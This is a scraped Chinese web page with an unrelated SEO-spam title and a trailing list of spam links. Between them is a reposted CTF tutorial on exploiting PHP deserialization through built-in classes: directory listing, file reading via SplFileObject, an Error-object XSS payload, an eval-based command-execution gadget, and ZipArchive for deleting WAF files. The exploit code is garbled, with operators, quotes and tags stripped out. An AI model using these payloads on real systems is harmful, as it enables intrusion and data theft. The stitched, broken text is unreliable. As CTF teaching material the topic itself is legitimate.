当前位置: 首页 > news >正文

镇海企业建站企业管理模式有哪些

镇海企业建站,企业管理模式有哪些,中国建设银行网站对公账户首页,创科手机网站什么是php原生类 原生类就是php内置类#xff0c;不用定义php自带的类#xff0c;即不需要在当前脚本写出#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_clas…什么是php原生类 原生类就是php内置类不用定义php自带的类即不需要在当前脚本写出但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 几个ctf常用的php原生类  遍历文件目录的类 DirectoryIterator 类 类介绍 DirectoryIterator extends SplFileInfo implements SeekableIterator {     /* 方法 */     public __construct ( string $path )     public current ( ) : DirectoryIterator     public getATime ( ) : int     public getBasename ( string $suffix ? ) : string     public getCTime ( ) : int     public getExtension ( ) : string     public getFilename ( ) : string     public getGroup ( ) : int     public getInode ( ) : int     public getMTime ( ) : int     public getOwner ( ) : int     public getPath ( ) : string     public getPathname ( ) : string     public getPerms ( ) : int     public getSize ( ) : int     public getType ( ) : string     public isDir ( ) : bool     public isDot ( ) : bool     public isExecutable ( ) : bool     public isFile ( ) : bool     public isLink ( ) : bool     public isReadable ( ) : bool     public isWritable ( ) : bool     public key ( ) : string     public next ( ) : void     public rewind ( ) : void     public seek ( int $position ) : void     public __toString ( ) : string    // 以字符串形式获取文件名     public valid ( ) : bool } 可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用  这里会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 测试代码 ?php $a new DirectoryIterator(/); echo $a; echo以字符串的形式输入会触发 __toString()以字符串的形式输入根目录的第一个文件名 也可以结合glob协议进行多目录遍历 ?php $a new DirectoryIterator(glob://f*); echo $a; 如果想显示所有的文件可以用foreach函数来遍历比如 ?php $a new DirectoryIterator(/); foreach($a as $f){echo($f.br); } FilesystemIterator 基本和DirectoryIterator一样 GlobIterato 名字可以看出这个类是自带glob协议的所以不用再使用glob协议了例如 ?php $a new GlobIterator(/); echo $a; 文件读取类  SplFileObject 当用文件目录遍历到了敏感文件时可以用SplFileObject类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符所以必须先获取到完整文件名称才行)而且这个方法只能读一行 test1 ?php error_reporting(0); highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }unserialize($_GET[a]);? 这个反序列化没有任何可以直接利用的魔法函数只有一个wakeup可以进入 echo new $this-key($this-value); 构造exp很简单只需要让key值赋为我们想得的原生函数value赋为路径查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。 ?php class xxh{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }$a new xxh(); $a-keySplFileObject; $a-value./; echo serialize($a); ? PHP 原生ErrorException类(XSS实现与hash绕过) Error内置类 适用于php7 开启报错的情况下 Error类是php 的一个内置类用于自动自定义一个Error 在php7的情况下可能会造成一个xss漏洞因为他内置有一个 __toString()方法在ctf反序列化中如果flag在cookie中可以尝试利用Error去触发__toString() ?php$a unserialize($_GET[xxh]); echo $a; ?php $a new Error(scriptalert(1)/script); echo serialize($a); Excepthin 内置类  适用于 php57 开启报错的情况下: ?php$a unserialize($_GET[xxh]); echo $a; exp ?php$a new Error(scriptalert(1)/script); $b serialize($a); echo urlencode($b); 也可以成功弹窗 命令执行 如果有eval的话就可以rce ?php $a $_GET[a]; $b $_GET[b]; eval(echo new $a($b());); ? 这就不限于Error函数了、 其他类 ReflectionMethod类 他本身具有的方法 class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector { /*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口译者注可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name null, int $flags 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void 可以看到这里也有一个__toString函数也可以触发反序列化漏洞  ReflectionMethod 类中有很多继承方法可以使用比如这个 getDocComment() 方法我们可以用它来获取类中各个函数注释内容 ?php show_source(__FILE__); class a //flag{123}public function a(){} } $a $_GET[a]; $b $_GET[b]; $c $_GET[c]; $dnew $a($b,$c); echo($d-getDocComment()); ? ?aReflectionMethodbacb 利用原生类ReflectionMethod中的getDocComment()函数类读取注释 ZipArchive类 可以通过本类执行一些文件操作在CTF可以用来删除waf open(打开一个压缩包文件) $zip new \ZipArchive;$zip-open(test_new.zip, \ZipArchive::CREATE) 常用方法  ZipArchive::addEmptyDir添加一个新的文件目录 ZipArchive::addFile将文件添加到指定zip压缩包中 ZipArchive::addFromString添加新的文件同时将内容添加进去 ZipArchive::close关闭ziparchive ZipArchive::extractTo将压缩包解压 ZipArchive::open打开一个zip压缩包 ZipArchive::deleteIndex删除压缩包中的某一个文件如deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName删除压缩包中的某一个文件名称同时也将文件删除
http://www.hkea.cn/news/14469575/

相关文章:

  • 网站的网站制作东莞建设网站企业沟通平台
  • 如何做校园网站中国建设个人网上银行官网
  • 怎么进入微信官方网站郑州妇科医院正规有哪些
  • 国外素材网站推荐wordpress公司企业
  • 做百科需要用什么网站做参考wordpress 微信登录插件下载失败
  • 关键词优化简易wordpress网页优化
  • 曰本免费网站赣州做网站优化
  • 最早做淘宝客的网站盘锦市住房和城乡建设厅网站
  • 简述网站的建设步骤中学网站建设
  • 青岛快速建站模板中小企业网站建设平台
  • 烟台网站的优化移动互联网开发人才网
  • 便宜的手机网站建设龙口市规划建设局网站
  • 网站服务器地址在哪里看小程序的推广方法
  • 网站空间购买自己没有产品
  • 网站备案查询 优帮云wordpress批量替换代码
  • 安徽省建设安全监督站的网站商城app搭建
  • 网站正在建设中 htmll全景网站app
  • 一个网站可以做几个关键词江门网站设计价格
  • 电子商务网站建设答辩记录wordpress第三方客户端
  • 建网站做代理ip建设网站建设方案
  • 欧美网站特点免费psd模板素材
  • 英文网站建设官网网页制作属于前端吗
  • 深圳网站优化公司哪家好长沙找工作哪个网站好
  • 网站一般用什么做的做二手平台公益的网站
  • 常见的电子商务网站有哪些发免费广告电话号码
  • 电商网站建设综述网站域名过期怎么办
  • 易语言做购物网站长安网站建设免费咨询
  • 基于php技术的个人网站设计wordpress魔客模板
  • 网站上一页下一页怎么做定制一个软件要多少钱
  • IT男做网站wordpress会员等级查看文章